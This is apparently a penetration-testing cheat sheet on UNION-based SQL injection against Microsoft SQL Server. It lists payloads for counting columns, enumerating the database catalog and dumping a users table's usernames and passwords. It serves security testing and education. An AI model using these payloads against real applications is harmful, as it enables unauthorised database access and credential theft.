A UNION SELECT appends attacker-chosen rows to a returned result. SQL Server matches MySQL in spirit but is strict about types, so each injected column must match the original type or be NULL (which fits any type).

Detect the column count with ORDER BY ordinals or incremental UNION SELECT NULL:

' ORDER BY 3-- 
' UNION SELECT NULL,NULL,NULL-- 

ORDER BY fails past the real count, and the NULL list that stops raising All queries ... must have an equal number of expressions is the count. Replace a NULL with a value to find the reflected column.

Enumerate through the sys catalog or information_schema. List databases, then tables, then columns:

' UNION SELECT name,NULL,NULL FROM sys.databases-- 
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables-- 
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- 

Collapse many rows into one cell with STRING_AGG() on SQL Server 2017 and later, or the FOR XML PATH('') trick on older versions:

' UNION SELECT STRING_AGG(name,','),NULL,NULL FROM sys.tables-- 
' UNION SELECT (SELECT name+',' FROM sys.tables FOR XML PATH('')),NULL,NULL-- 

Then dump rows, concatenating with + and casting where needed:

' UNION SELECT STRING_AGG(username+':'+password,CHAR(10)),NULL,NULL FROM users-- 

There is no LIMIT; use TOP n or OFFSET ... FETCH when you need a single row (for example SELECT TOP 1 name FROM sys.tables).

References#

• Microsoft SQL Server Documentation: UNION, system catalog views, STRING_AGG, FOR XML
• OWASP Testing Guide: Testing for SQL Injection